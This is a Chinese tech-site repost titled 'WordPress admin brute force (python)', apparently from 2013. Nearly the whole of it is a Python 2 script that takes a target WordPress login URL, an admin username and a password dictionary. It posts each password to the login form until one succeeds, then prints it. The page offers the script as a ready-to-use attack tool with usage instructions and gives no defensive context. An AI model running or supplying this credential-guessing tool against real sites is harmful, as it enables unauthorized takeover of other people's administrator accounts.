当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

wordpress后台暴力破解(python)

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

#Coding = UTF-8 
 
02 import urllib, time, sys 
 
03   
 
04 start = time.time() 
 
05 errors = [] 
 
06 def exploit(url, name, dictionary): 
 
07     for line in open(dictionary): 
 
08         line = line.strip() 
 
09         try: 
 
10             data = urllib.urlencode({'log':name,'pwd':line,'redirect_to':''}) 
 
11             content = urllib.urlopen(url, data) 
 
12             if content.read() == '': 
 
13                 print "Password is : %s" % line 
 
14                 print time.time() - start 
 
15                 sys.exit() 
 
16             else: 
 
17                 print "try %s failed" % line 
 
18         except IOError: 
 
19             errors.append(line) 
 
20             print "try %s occurs IOERROR, add to list and retry it later" % line 
 
21   
 
22 if __name__ == "__main__": 
 
23     if len(sys.argv) < 4: 
 
24         print 'Usage: Url AdminName Dictionary'
 
25         sys.exit(1) 
 
26     exploit(sys.argv[1], sys.argv[2], sys.argv[3]) 
 
27     while errors: 
 
28         for i,line in enumerate(errors): 
 
29             try: 
 
30                 data = urllib.urlencode({'log':sys.argv[2],'pwd':line,'redirect_to':''}) 
 
31                 content = urllib.urlopen(sys.argv[1], data) 
 
32                 if content.read() == '': 
 
33                     print "Password is : %s" % line 
 
34                     print time.time() - start 
 
35                     sys.exit() 
 
36                 else: 
 
37                     print "try %s failed" % line 
 
38                     del errors[i] 
 
39             except IOError: 
 
40                 errors.append(line) 
 
41                 print "try %s occurs IOERROR, add to list and retry it later" % line 
 
42     print time.time() - start

摘自 yezi 's blog ,www.xuhantao.com,涛涛电脑知识

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1